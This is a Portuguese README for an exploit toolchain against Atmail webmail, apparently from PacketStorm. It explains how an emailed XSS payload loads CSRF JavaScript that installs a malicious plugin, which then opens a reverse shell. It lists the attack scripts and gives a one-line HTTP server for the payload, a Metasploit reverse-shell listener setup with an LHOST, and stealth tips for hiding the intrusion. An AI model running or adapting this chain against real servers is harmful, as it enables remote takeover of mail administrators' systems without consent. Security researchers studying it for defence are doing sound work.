[PacketStorm] [WLB-2020080010]
Aviso: este toolchain de exploit foi inspirado por EDB-ID 20009.
Objetivo
O objetivo deste toolchain de exploit é substituir o EDB-ID 20009.
Vantagens deste toolchain sobre o exploit EDB-ID 20009:
- Simples de usar
- Reutilizável
- Payloads gerados dinamicamente
- Facilmente editável / hackeável
- Código claro e plugin disponível
Desvantagens do exploit EDB-ID 20009:
- Não personalizável (payloads estáticos embutidos no código)
- Complexo de usar (é preciso substituir muitos valores fixos e adaptar o código ao ambiente-alvo)
- Uso único (todos os valores fixos)
- O arquivo tgz do plugin é embutido como string (caracteres hexadecimais), portanto o código-fonte do plugin não pode ser facilmente lido ou modificado
Requisitos
- (Opcional) Metasploit Framework (
msfvenom para geração de reverse shell)
- tar (para gerar o arquivo do plugin)
- ruby (preparação dos payloads e envio do XSS via SMTP)
- (Opcional) um servidor web para entregar o payload XSS
- Saber o endereço de e-mail de um administrador do Atmail (apenas administradores podem instalar um plugin)
- Interação passiva (o administrador precisa abrir o e-mail contendo o payload XSS no WebMail e ter uma sessão válida na interface de administração em execução)
Instale os requisitos no ArchLinux:
$ sudo pacman -S metasploit tar ruby
Como funciona
- Enviar um e-mail ao administrador contendo um payload XSS
- O payload XSS carrega remotamente o JavaScript CSRF
- O CSRF instala um plugin
- Quando instalado, o plugin executa um comando de sistema: o reverse shell
Arquivos do exploit:
config.yml contém a configuração do toolchain
exploit.sh é o wrapper do exploit que precisa ser executado
xss_mail.rb enviará o e-mail contendo o XSS ao administrador via servidor SMTP do Atmail (sem autenticação).
csrf_prepare.rb preparará o payload CSRF (definindo o alvo e codificando o arquivo do plugin)
rce_prepare.rb preparará o RCE (gerando o reverse shell e criando o arquivo do plugin)
csrf_plugin.js é o payload CSRF preparado
- a pasta
noraj/ contém a arquitetura do plugin descompactado
Uso
O toolchain de exploit requer apenas 2 etapas manuais:
- Edite o
config.yml
- Execute o
exploit.sh
Mas antes de lançar o ataque, um servidor web precisa entregar o arquivo JavaScript CSRF e um listener de reverse shell precisa estar aguardando a conexão. Então o ataque ficará mais ou menos assim:
- Edite o
config.yml
- Inicie um servidor HTTP que entregará o
csrf_plugin.js
- Inicie o listener de reverse shell
- Execute o
exploit.sh
Exemplo de servidor HTTP em uma linha:
$ ruby -run -e httpd . -p 8000
Exemplo de listener de reverse shell:
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/reverse_php
payload => php/reverse_php
msf5 exploit(multi/handler) > set LHOST 1.1.1.1
LHOST => 1.1.1.1
msf5 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf5 exploit(multi/handler) > run
Notas
- O RCE ocorre apenas quando o plugin é instalado; se a conexão do reverse shell for perdida, reexecutar significa reinstalar o plugin. Então o administrador só precisa recarregar a caixa de entrada.
- Red teamers podem aprimorar o exploit para remover automaticamente o e-mail depois de lido e remover o plugin assim que a conexão do reverse shell for estabelecida: menos persistente, porém mais furtivo.
- O msfvenom (MSF 5.0) suporta apenas um endereço IP para LHOST, não um domínio.
- Como dito em Requisitos, o administrador precisa estar conectado tanto no Webmail quanto na interface de administração.
- Testado com ruby 2.7.